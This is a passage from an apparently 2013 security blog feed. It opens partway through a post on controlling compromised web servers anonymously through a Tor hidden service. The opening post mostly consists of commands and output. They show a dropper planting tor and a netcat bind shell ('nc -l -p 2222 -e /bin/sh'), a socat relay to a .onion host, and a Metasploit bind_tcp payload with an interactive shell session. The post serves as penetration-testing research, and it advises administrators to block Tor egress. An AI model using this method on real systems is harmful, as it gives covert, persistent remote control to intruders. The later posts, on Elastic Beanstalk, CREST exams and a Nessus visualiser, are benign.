<p>&#8230;which unpacks our files and executes them, resulting in the following:<br />
<code><br />
root@ip-10-128-69-141:/var/<wbr />www# ls -la /tmp<br />
total 1260<br />
drwxrwxrwt  4 root     root        4096 2013-01-10 07:09 .<br />
drwxr-xr-x 21 root     root        4096 2013-01-10 06:39 ..<br />
drwx------  2 www-data www-data    4096 2013-01-10 07:08 hidden<br />
-rw-r--r--  1 www-data www-data    4434 2013-01-10 07:09 log<br />
-rwxr-xr-x  1 www-data www-data   22076 2013-01-10 07:08 nc<br />
-rwxr-xr-x  1 www-data www-data 1230144 2013-01-10 07:08 tor<br />
drwx------  2 www-data www-data    4096 2013-01-10 07:09 .tor<br />
-rw-r--r--  1 www-data www-data     136 2013-01-10 07:08 torrc<br />
root@ip-10-128-69-141:/var/<wbr />www# ps -ef | grep www-data<br />
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1915     1  6 07:08 ?        00:00:04 /tmp/tor -f /tmp/torrc<br />
www-data  1921     1  0 07:08 ?        00:00:00 /tmp/nc -l -p 2222 -e /bin/sh<br />
root@ip-10-128-69-141:/var/<wbr />www#<br />
</code></p>
<p><strong>Step 5 &#8211; Connect to the hidden service</strong></p>
<p>Finally, we are ready to connect to the hidden service to gain access to the trojan.  Allow a couple of minutes from when the payload is first run, as it can sometimes take a while for Tor to bootstrap itself, and for the hidden service to register in the Tor directory.</p>
<p>In shell #1, start up socat&#8230;<br />
<code><br />
$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050<br />
</code></p>
<p>Then, in shell #2, connect to the socat listener&#8230;<br />
<code><br />
$ nc 127.0.0.1 2222<br />
ls -la<br />
total 760<br />
drwxr-xr-x  4 root     www-data   4096 Jan 10 06:40 .<br />
drwxr-xr-x 15 root     root       4096 Jun 29  2011 ..<br />
-rw-r--r--  1 www-data www-data 722072 Jan 10 06:40 dropper.php<br />
-rw-r--r--  1 www-data www-data     30 May 28  2012 index.html<br />
-rw-r--r--  1 www-data www-data    332 Dec 24 06:15 upload.html<br />
-rw-r--r--  1 www-data www-data    358 Dec 24 06:23 uploader.php<br />
id<br />
uid=33(www-data) gid=33(www-data) groups=33(www-data)<br />
hostname<br />
ip-10-128-69-141<br />
/sbin/ifconfig -a<br />
eth0      Link encap:Ethernet  HWaddr 12:31:40:00:46:63<br />
          inet addr:10.128.69.141  Bcast:10.128.69.255  Mask:255.255.255.0<br />
          inet6 addr: fe80::1031:40ff:fe00:4663/64 Scope:Link<br />
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br />
          RX packets:42289 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:29494 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:1000<br />
          RX bytes:29078650 (29.0 MB)  TX bytes:8783815 (8.7 MB)<br />
          Interrupt:246</p>
<p>lo        Link encap:Local Loopback<br />
          inet addr:127.0.0.1  Mask:255.0.0.0<br />
          inet6 addr: ::1/128 Scope:Host<br />
          UP LOOPBACK RUNNING  MTU:16436  Metric:1<br />
          RX packets:242 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:242 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:0<br />
          RX bytes:23980 (23.9 KB)  TX bytes:23980 (23.9 KB)<br />
echo Giddyup\!<br />
Giddyup!<br />
^C<br />
$<br />
</code></p>
<p><strong><u>Example 2 &#8211; Metasploit bind shell</u></strong></p>
<p><strong>Step 1 &#8211; Tor hidden service pre-configuration</strong></p>
<p>As above</p>
<p><strong>Step 2 &#8211; Construct a payload to upload to the compromised system</strong></p>
<p>Mostly as above.  Instead of the netcat binary, we need to build a staged metasploit bind shell payload, as follows&#8230;<code><br />
root@GTFO:~/torcontrol# msfpayload linux/x86/shell/bind_tcp LPORT=2222 X &gt; msfshell.bin<br />
Created by msfpayload (http://www.metasploit.com).<br />
Payload: linux/x86/shell/bind_tcp<br />
 Length: 79<br />
Options: {"LPORT"=&gt;"2222"}<br />
root@GTFO:~/torcontrol# ls -l msfshell.bin<br />
-rw-r--r-- 1 root root 163 Jan 10 15:29 msfshell.bin<br />
root@GTFO:~/torcontrol#<br />
</code></p>
<p>This then gets built into payload.php.</p>
<p><strong>Step 3 &#8211; Upload the payload bundle to the web server</strong></p>
<p>As above</p>
<p><strong>Step 4 &#8211; Execute your payload on the web server</strong></p>
<p>As above.  The filesystem objects and process listing will obviously be slightly different&#8230;<br />
<code><br />
$ ps -ef | grep www-data<br />
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start<br />
www-data  1915     1  0 07:08 ?        00:00:08 /tmp/tor -f /tmp/torrc<br />
www-data  2031  2029  0 07:36 pts/0    00:00:00 /tmp/msfshell.bin<br />
$ netstat -nap |grep 2222<br />
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      2031/msfshell.bin<br />
$<br />
</code></p>
<p><strong>Step 5 &#8211; Connect to the hidden service</strong></p>
<p>In shell #1, again we start up socat&#8230;<br />
<code><br />
$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050<br />
</code></p>
<p>Then, in shell #2, we fire up msfconsole and point it at socat&#8230;<br />
<code></p>
<pre>
root@GTFO:~/Work/Metasploit_dev# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`


       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1017 exploits - 566 auxiliary - 167 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf  exploit(handler) > set LPORT 2222
LPORT => 2222
msf  exploit(handler) > set RHOST 192.168.1.112
RHOST => 192.168.1.112
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  2222             yes       The listen port
   RHOST  192.168.1.112    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit

[*] Started bind handler
[*] Sending stage (36 bytes) to 192.168.1.112
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.112:56788 -> 192.168.1.112:2222) at 2013-01-10 15:56:26 +0800

ls -la
total 1264
drwxrwxrwt  4 root     root        4096 Jan 10 07:39 .
drwxr-xr-x 21 root     root        4096 Jan 10 06:39 ..
drwx------  2 www-data www-data    4096 Jan 10 07:50 .tor
drwx------  2 www-data www-data    4096 Jan 10 07:08 hidden
-rw-r--r--  1 www-data www-data    4434 Jan 10 07:09 log
-rwxr-xr-x  1 www-data www-data     163 Jan 10 07:32 msfshell.bin
-rwxr-xr-x  1 www-data www-data   22076 Jan 10 07:08 nc
-rwxr-xr-x  1 www-data www-data 1230144 Jan 10 07:08 tor
-rw-r--r--  1 www-data www-data     136 Jan 10 07:08 torrc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
ip-10-128-69-141
exit

[*] 192.168.1.112 - Command shell session 1 closed.  Reason: Died from EOFError
msf  exploit(handler) >
</pre>
<p></code></p>
<p><strong>Last Notes:</strong></p>
<ul>
<li>There are obviously a number of variations possible for this approach; for example, the payload could be delivered as an email attachment, or loaded onto another compromised web server as a drive-by download or spearphishing destination.  In any case, if the compromised system is able to establish an outbound connection to Tor then the system can become a hidden server, and can be controlled via this hidden service.  If you are an administrator and you want to avoid this happening to your systems, you need to ensure that they are not able to establish a connection to the Tor network.</li>
</ul>
<ul>
<li>It is a real shame that more security tools don&#8217;t have native support for SOCKS4a; having to use socat is a real pain.  It would be awesome to see real SOCKS support in, say, Metasploit, Nessus, Nmap, &#8230;</li>
</ul>
<ul>
<li>While I am on &#8220;wishlist&#8221; items, it would also be really good to see Linux meterpreter get a whole lot better. When I started tinkering with this method, I burnt a lot of time trying to get it working with meterpreter on a Linux x86 target &#8211; my success rate was something like 1 in 20, or 1 in 30.  The payload and stager seem to be either unstable or intolerant of the network delays that Tor can bring.</li>
</ul>
<p><strong><u>TLDR:</u></strong></p>
<p>If a compromised system can establish a connection to the Tor network, it can be used to host a hidden service of the attackers choosing.  This hidden service can be accessed anonymously via Tor.</p>
<p>- @dave_au</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/anonymous-post-compromise-control-via-tor-hidden-services/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Rails and the Amazonian Beanstalk</title>
		<link>http://labs.asteriskinfosec.com.au/rails-and-the-amazonian-beanstalk/</link>
		<comments>http://labs.asteriskinfosec.com.au/rails-and-the-amazonian-beanstalk/#comments</comments>
		<pubDate>Tue, 18 Dec 2012 11:43:26 +0000</pubDate>
		<dc:creator>christian</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=246</guid>
		<description><![CDATA[Yo, Christian here .. One of the ways in which I try and keep in touch with the development community is by of course developing software. For those playing along at home that wouldn&#8217;t have come as much of a surprise, you can see a few previous posts tagged with ruby, and especially our interest<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/rails-and-the-amazonian-beanstalk/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>Yo, Christian here .. One of the ways in which I try and keep in touch with the development community is by of course developing software. For those playing along at home that wouldn&#8217;t have come as much of a surprise, you can see a few previous posts tagged with <a href="http://labs.asteriskinfosec.com.au/tag/ruby/">ruby</a>, and especially our interest in developing software that may help either secure your apps, or secure your processes (watch this space!).</p>
<p>Anyway, in addition to my interest in development, I&#8217;m also interested in operating these applications, especially leveraging the power of &#8216;the cloud&#8217;. Some of these principles may be referred to by some people as Development Operations .. or some such. <a href="http://www.heroku.com/">Heroku</a> is one of the more popular Platform-as-a-Service operators, their model is pretty <a href="http://www.heroku.com/how/deploy">slick</a>. Sign up, git commit your code, and then just git push it and away you go. During my experiments with them I was also interested in leveraging Amazon&#8217;s CDN platform, CloudFront, which, with the help of the <a href="https://github.com/rumblelabs/asset_sync">asset_sync</a> gem was relatively simple. At a high level the steps are:</p>
<ol>
<li>1) Code up your app</li>
<li>2) Git commit your code</li>
<li>3) Git push your code to heroku</li>
<li>4) During its deployment your static assets would be compiled, compressed, mashed-together</li>
<li>5) Asset_sync would then push these up to your nominated Amazon S3 bucket</li>
<li>6) Which in turn was published through the CDN (CloudFront)</li>
</ol>
<p></p>
<p>Somewhere along the line though this stopped playing friendly, and after a few rounds of frustration, I decided to jump ship. Heroku, whilst offering some great benefits and simplicity to the whole continuous delivery process, also potentially encapsulated a lot of the gritty details away from you. Heroku, of course, leverage&#8217;s Amazon&#8217;s EC2. So why not go straight to the source?</p>
<p>Amazon&#8217;s approach to Platform-as-a-Service, also known as their Elastic Beanstalk (EB), was always a little bit daunting, and when I first heard about it, and its lack of support for Ruby(/Rails) I wasn&#8217;t all that interested. Well, those days are over, their model now supports Ruby 1.9.3, and of course Rails on top of that. Simply put, EB wraps up a fairly automatic approach to managing applications on top of their other services, namely:</p>
<ol>
<li>1) EC2 &#8211; Elastic Cloud Computing &#8211; scalable web app servers for the controllers and view handling</li>
<li>2) RDS &#8211; Relational Database Service &#8211; for the backend model handling</li>
<li>3) S3 &#8211; Storage &#8211; for handling code distribution and log file management (so you don&#8217;t have to interact directly with your EC2s or RDSs)</li>
<li>4) SNS &#8211; Simple Notification Service &#8211; for handling email alerting, health checks etc</li>
<li>5) CloudWatch &#8211; for monitoring the health of your app, and automatically scaling those EC2 automatically</li>
<li>6) ELB &#8211; Elastic Load Balancing &#8211; to present a single DNS entry, which encapsulates those EC2 nodes away</li>
</ol>
<p></p>
<p>The (I believe) <a href="http://aws.typepad.com/aws/aws-elastic-beanstalk/">official blog</a> from AWS on their Elastic Beanstalk stuff offers a lot of interesting insight into how to run up these environments, but, I thought I should quickly dump out a few things that were causing me issues.</p>
<p>Firstly, the command line tools for starting, stopping, initialising your EB workload has a few problems. I don&#8217;t believe they&#8217;re hosted on <a href="https://github.com/">GH</a>, so I can&#8217;t send them a push request. One problem that was causing me a bit of grief was the functionality to automatically add the application-local &#8216;.elasticbeanstalk&#8217; folder to your &#8216;.gitignore&#8217; file. This functionality occurs on &#8216;eb init&#8217;, &#8216;eb start&#8217;, in fact, many of the eb functions. Firstly, the wrong entry was being added (at least on my OSX with Python 2.7 setup), and secondly, it wasn&#8217;t being added correctly so it would get incorrectly added every single time I ran any of these commands, which obviously didn&#8217;t work. My fix was simple.</p>
<p>In &#8220;AWS-ElasticBeanstalk-CLI-2.2/eb/macosx/python2.7/scli/constants.py&#8221;, change line 466 &#8211; 467 from:</p>
<p><code><br />
&nbsp;&nbsp;&nbsp;&nbsp;Name = Path + u'/'<br />
&nbsp;&nbsp;&nbsp;&nbsp;NameRe = Path + u'/'</code></p>
<p>To:</p>
<p><code><br />
&nbsp;&nbsp;&nbsp;&nbsp;Name = u'/' + Path<br />
&nbsp;&nbsp;&nbsp;&nbsp;NameRe = u'/' + Path</code></p>
<p>This ensures that the correct entry is searched for in the .gitignore file, and added as well.</p>
<p>Then, in &#8220;AWS-ElasticBeanstalk-CLI-2.2/eb/macosx/python2.7/scli/config_file.py&#8221;, change line 152 from:</p>
<p><code><br />
&nbsp;&nbsp;&nbsp;&nbsp;f.write(u'{0}'.format(name))</code></p>
<p>To:</p>
<p><code><br />
&nbsp;&nbsp;&nbsp;&nbsp;f.write(u'\n{0}'.format(name))</code></p>
<p>This ensured that the entries are added as new lines to the bottom of the .gitignore file properly.</p>
<p>The other thing I found helped during testing was jumping directly onto the EC2 nodes and tailing various log files. By default, your EB deployed EC2s don&#8217;t have SSH pub keys set, nor does the security group permit SSHing to them. Setting up your SSH keys is simple, make sure you&#8217;ve got some already created for the region where your app is, then either re-run &#8216;eb init&#8217; and specify the keypair, or, edit your &#8216;.elasticbeanstalk/optionsettings&#8217; file and update the &#8216;EC2KeyName=&#8217; setting to the name of your keypair. After that&#8217;s done and you&#8217;ve re-started your environment (&#8216;eb stop; eb start&#8217;) you will then have to jump into your EC2 console and modify the security group to permit SSH.</p>
<p>Voila! You can now SSH directly onto your EC2 nodes, and tail some interesting log files, I found the following of particular interest:</p>
<ol>
<li>1) /var/log/eb-tools.log &#8211; shows you activity when you push new code, asset compilation, bundler runs etc</li>
<li>2) /var/app/support/logs/production.log &#8211; this is the actual rails log &#8211; see web requests etc</li>
</ol>
<p></p>
<p>All in all, I&#8217;m really enjoying what I&#8217;m seeing. Sure, it may cost a bit more than running a single <a href="https://devcenter.heroku.com/articles/dynos">Dyno</a> on Heroku, but, it certainly gives you a lot more control and visibility into exactly what&#8217;s happening, plus, it&#8217;s simple enough to jump straight into the deep end and see exactly what your servers are doing.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/rails-and-the-amazonian-beanstalk/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>The road to CREST</title>
		<link>http://labs.asteriskinfosec.com.au/the-road-to-crest/</link>
		<comments>http://labs.asteriskinfosec.com.au/the-road-to-crest/#comments</comments>
		<pubDate>Wed, 28 Nov 2012 09:50:42 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[CREST]]></category>
		<category><![CDATA[penetration_testing]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=231</guid>
		<description><![CDATA[Hey, Dave here.. I&#8217;ve recently sat the CREST Australia exams which in turn resulted in Asterisk becoming one of the first Australian CREST member organisations. This has been a long (and difficult) journey and I wanted share a few of my experiences, thoughts and comments. First, a bit of background. CREST is the Council of Registered Ethical Security Testers.<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/the-road-to-crest/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>Hey, Dave here.. I&#8217;ve recently sat the CREST Australia exams which in turn resulted in Asterisk becoming one of the first Australian CREST member organisations. This has been a long (and difficult) journey and I wanted share a few of my experiences, thoughts and comments.</p>
<p>First, a bit of background. CREST is the Council of Registered Ethical Security Testers. The organisation was formed in the UK in 2007 / 2008 [<a href="http://www.computerworlduk.com/news/security/8730/security-testing-standards-council-launched/">1</a>,<a href="http://www.zdnet.com/ethical-hackers-get-industry-association-3039397488/">2</a>] with an aim to standardise ethical penetration testing and to provide professional qualifications for testers. By most accounts CREST has been a big success in the UK; the accreditation was adopted by the UK government, who now require that all penetration testing is performed by CREST certified testers from CREST approved organisations.</p>
<p>In 2011, the Australian Attorney Generals Department provided one-off seed funding to establish CREST in Australia, and in 2012 CREST Australia was created as a non-profit organisation [<a href="http://www.attorneygeneral.gov.au/Media-releases/Pages/2012/First%20Quarter/9-March-2012---Standards-for-cyber-security-testing-to-be-introduced-.aspx">3</a>]. Like the UK, the Australian government&#8217;s goal, was to provide Australian businesses and government agencies with a means of assuring that security testing work is performed&#8230; &#8220;<em>with integrity, accountability and to agreed standards.</em>&#8221;</p>
<p>July this year I was invited to become part of the technical establishment team for CREST Australia. This was a real honour for me, but at the same time a bit daunting when I considered the calibre of the other individuals and organisations that were to be involved. When I&#8217;d first started hearing about CREST Australia, I suspected that it might end up being comprised of organisations at the big end of town. I like to think that Asterisk were invited as a representative presence for the many excellent niche information security providers in the market.</p>
<p>The next few months involved a lot of preparation and planning; licensing for the exam IP was obtained from the UK, and hardware for the testing rig was procured, configured and shipped to Australia. Also, July to September involved a <em>lot</em> of study and preparation for me personally. Although I have been doing pen-testing in one form or another since 1997, the CREST syllabus covers a lot of ground, and unless you&#8217;re testing regularly on a wide variety of platforms, these exams are no walk in the park.</p>
<p>At the end of September the technical establishment team descended on the bustling metropolis that is Canberra to sit the three exams that CREST Australia offer: CREST Registered Tester (CRT), CREST Certified Tester &#8211; Applications (CCT App) and CREST Certified Tester &#8211; Infrastructure (CCT Inf). We all sat these three exams over a period of three days; to be brutally honest, this was a horrendous experience &#8211; 15+ hours of the hardest exams that I&#8217;ve ever experienced in the space of 3 days. I can&#8217;t remember being so stressed in my entire life. Pro tip: don&#8217;t try to do all the exams back-to-back.</p>
<p>In the end somehow I pulled the rabbit from the hat and achieved the CCT certification necessary to go on to become an assessor.  We spent the next few days learning the ins and outs of exam invigilation (yup, this is a real <a href="http://en.wiktionary.org/wiki/invigilation">word</a>), then closed out the week by running the very first CREST Australia exams for a packed house of candidates.</p>
<p>Who knows what the future holds for CREST Australia. Asterisk are hoping that the various arms of government, regulators and corporations will recognise the value of CREST certification and will incorporate it into their evaluation process for pen-testing providers. While there is absolutely no assertation that a pen-testing company <em>needs</em> to be CREST certified in order to deliver quality results, we believe that CREST certification provides clients with a degree of confidence that pen-testing will be performed to a high, repeatable standard.</p>
<p>Personally, I&#8217;d really like to see more niche providers in the game. There are a few of us and I think we do great work. I&#8217;d like to break down some of the ingrained corporate mentality that for security testing to be done well, it needs to be done by a Big 4 company / IBM.  Maybe CREST is a way for us to start competing on more of a level footing.</p>
<p>TLDR; CREST exams are really hard; don&#8217;t think that you can pass without extensive prep and/or experience. If you&#8217;re from a client organisation, CREST certified testers &amp; organisations know what they are on about.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/the-road-to-crest/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Nightmare on Incident Response Street</title>
		<link>http://labs.asteriskinfosec.com.au/isaca-perth-2012/</link>
		<comments>http://labs.asteriskinfosec.com.au/isaca-perth-2012/#comments</comments>
		<pubDate>Wed, 24 Oct 2012 05:14:28 +0000</pubDate>
		<dc:creator>christian</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[incident]]></category>
		<category><![CDATA[isaca]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[response]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=219</guid>
		<description><![CDATA[Steve and I will be presenting at next week&#8217;s ISACA 2012 Annual Conference Perth, held on the 31st of October. We&#8217;re pretty damn excited (we&#8217;re going for a pretty radical form of presentation format, so, we apologise to all those people who are really looking forward to PPT slides), not just because of the presentation,<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/isaca-perth-2012/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>Steve and I will be presenting at next week&#8217;s <a href="http://www.isaca.org/chapters2/Perth/Pages/default.aspx">ISACA 2012 Annual Conference Perth</a>, held on the 31st of October. We&#8217;re pretty damn excited (we&#8217;re going for a pretty radical form of presentation format, so, we apologise to all those people who are really looking forward to PPT slides), not just because of the presentation, but, also because it&#8217;s one of our favourite days: Halloween! Steve and I will be dressing up as Gomez and Morticia from the Addams Family.</p>
<p>Our synopsis, just in case you wanted to learn a bit more:</p>
<p>Over the last several years we have seen the trend of large data breaches continue. Incident response is critical during these incidents and done well, can protect the reputation and customer base of the organisation involved. In this presentation we will review select case studies of security incidents in 2012, and ask if these &#8216;black swans&#8217; are really black any more. We will then pose the concept that organisations should assume that the nightmare has already occurred, and discuss the importance of planning your incident response from end to end, including data acquisition and handling, event detection and triage, containment and response, and of course your communication strategy.</p>
<p>Supporting this foray into incident response we&#8217;ll also be covering available maturity models, and incident frameworks. The combination of these will give you a good starting point for reviewing and growing the capability you have within your organisation.</p>
<p>So come on down and say &#8216;hi!&#8217;.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/isaca-perth-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing Prenus .. the Pretty Nessus .. thing.</title>
		<link>http://labs.asteriskinfosec.com.au/prenus-intro/</link>
		<comments>http://labs.asteriskinfosec.com.au/prenus-intro/#comments</comments>
		<pubDate>Sat, 15 Sep 2012 05:20:08 +0000</pubDate>
		<dc:creator>christian</dc:creator>
				<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[nessus]]></category>
		<category><![CDATA[prenus]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[visualisation]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=164</guid>
		<description><![CDATA[One of my passions in information security is finding new ways to look at old problems. Big problems and small problems, doesn&#8217;t really matter. I&#8217;ve found a really useful way to look at these problems is visualising them. Last year this led me to hack together Burpdot, a Burp Suite log file to Graphviz &#8220;DOT&#8221;<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/prenus-intro/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>One of my passions in information security is finding new ways to look at old problems. Big problems and small problems, doesn&#8217;t really matter. I&#8217;ve found a really useful way to look at these problems is visualising them. Last year this led me to hack together <a href="http://un-excogitate.org/archives/tag/burpdot/">Burpdot</a>, a <a href="http://www.portswigger.net/burp/">Burp Suite</a> log file to Graphviz &#8220;DOT&#8221; language formatted file for transformation into a graphic. Over the past few months we&#8217;ve been spending quite a bit of time with <a href="http://www.tenable.com/products/nessus">Nessus</a>, and when you&#8217;re dumped with tons of hosts and hundreds and hundreds of findings what are you meant to do?</p>
<p>I don&#8217;t believe many would argue that the default Nessus web UI is ideal for analysing bulk data. And I&#8217;m not the only person to construct something to parse and process Nessus files into HTML/XLS files, you can see Jason Oliver&#8217;s work <a href="http://www.blackhat.org/2012/06/nessus-to-htmlxls.html">here</a>. Hence, Prenus, the Pretty Nessus .. thing. Combining my love of Nessus, visualisation, and hacking stuff together.</p>
<p>Following the same principles as Burpdot, Prenus simply consumes Nessus version 2 exported XML files, and outputs the data in a few different formats. Initially, I was interested in finding a better way to analyse the results (Personally, I find the the Flash web interface frustrating), so the first output was a collection of static HTML files with <a href="http://www.highcharts.com/">Highcharts</a> generated pie and bar graphs.</p>
<p>For example, the below creates a folder called &#8216;report&#8217; with a bunch of HTML files:</p>
<p><code>$ prenus -t html -o report *.nessus</code></p>
<div id="attachment_186" class="wp-caption alignnone" style="width: 320px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus01.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus01thumb.jpg" alt="The top of the Prenus index, highlighting unique Nessus criticality ratings, and a split of the top 20 hosts" title="Prenus01" width="310" height="174" class="size-full wp-image-186" /></a><p class="wp-caption-text">The top of the Prenus index, highlighting unique Nessus criticality ratings, and a split of the top 20 hosts</p></div>
<p></p>
<div id="attachment_185" class="wp-caption alignnone" style="width: 339px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus02.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus02thumb.jpg" alt="Vulnerability Overview page" title="Vulnerability Overview page" width="329" height="143" class="size-full wp-image-185" /></a><p class="wp-caption-text">Vulnerability Overview page</p></div>
<p></p>
<div id="attachment_184" class="wp-caption alignnone" style="width: 335px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus03.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus03thumb.jpg" alt="Vulnerability Detail" title="Vulnerability Detail" width="325" height="183" class="size-full wp-image-184" /></a><p class="wp-caption-text">Vulnerability Detail</p></div>
<p></p>
<div id="attachment_187" class="wp-caption alignnone" style="width: 341px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus04.png"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenus04thumb.jpg" alt="Host Overview" title="Host Overview" width="331" height="179" class="size-full wp-image-187" /></a><p class="wp-caption-text">Host Overview</p></div>
<p></p>
<p>Not just wanting to end there, I thought it&#8217;d be useful to also generate a simple 2 column CSV formatted output that could be consumed and processed by <a href="http://afterglow.sourceforge.net/">Afterglow</a>.</p>
<p>For example:</p>
<p><code>
<pre>$ prenus -t glow *.nessus
46015 (4),10.0.0.5
46015 (4),10.0.0.20
46015 (4),10.0.0.15
53532 (4),10.0.0.5
53532 (4),10.0.0.20
53532 (4),10.0.0.15
..
</pre>
<p></code></p>
<p>But, if piped through Afterglow with our <a href="https://raw.github.com/AsteriskLabs/prenus/master/prenus.properties">prenus.properties</a> file, and then through <a href="http://www.graphviz.org/">Graphviz</a> (in this instance Neato), you get something like this (I had to run this from within the afterglow/src/perl/graph folder):</p>
<p><code>$ prenus -t glow ~/prenus/*.nessus | ./afterglow.pl -t -c ~/prenus/prenus.properties | neato -v -Tpng -Gnormalize=true -Goutputorder=edgesfirst -o prenus.png</code></p>
<div id="attachment_199" class="wp-caption alignnone" style="width: 310px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenusglow01.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenusglow01thumb.jpg" alt="Prenus Afterglow Example" title="Prenus Afterglow Example" width="300" height="252" class="size-full wp-image-199" /></a><p class="wp-caption-text">Prenus Afterglow Example</p></div>
<p>If you prefer a <a href="http://circos.ca/">Circos</a>-style graph you can do that too. The circos output mode generates a tab formatted table output which can be consumed by the Circos &#8220;<a href="http://circos.ca/software/download/">TableViewer</a>&#8221; tool. Wrapping that together is relatively simple (I use the word simple here lightly, getting Circos working on OS X was a bit of a pain due to GD deps, but, super simple to do on Linux). The following two commands assume the following directory layout:</p>
<p><code><br />
~/<br />
&nbsp;&nbsp;circos/<br />
&nbsp;&nbsp;&nbsp;&nbsp;circos-0.62-1/<br />
&nbsp;&nbsp;&nbsp;&nbsp;circos-tools-0.16/<br />
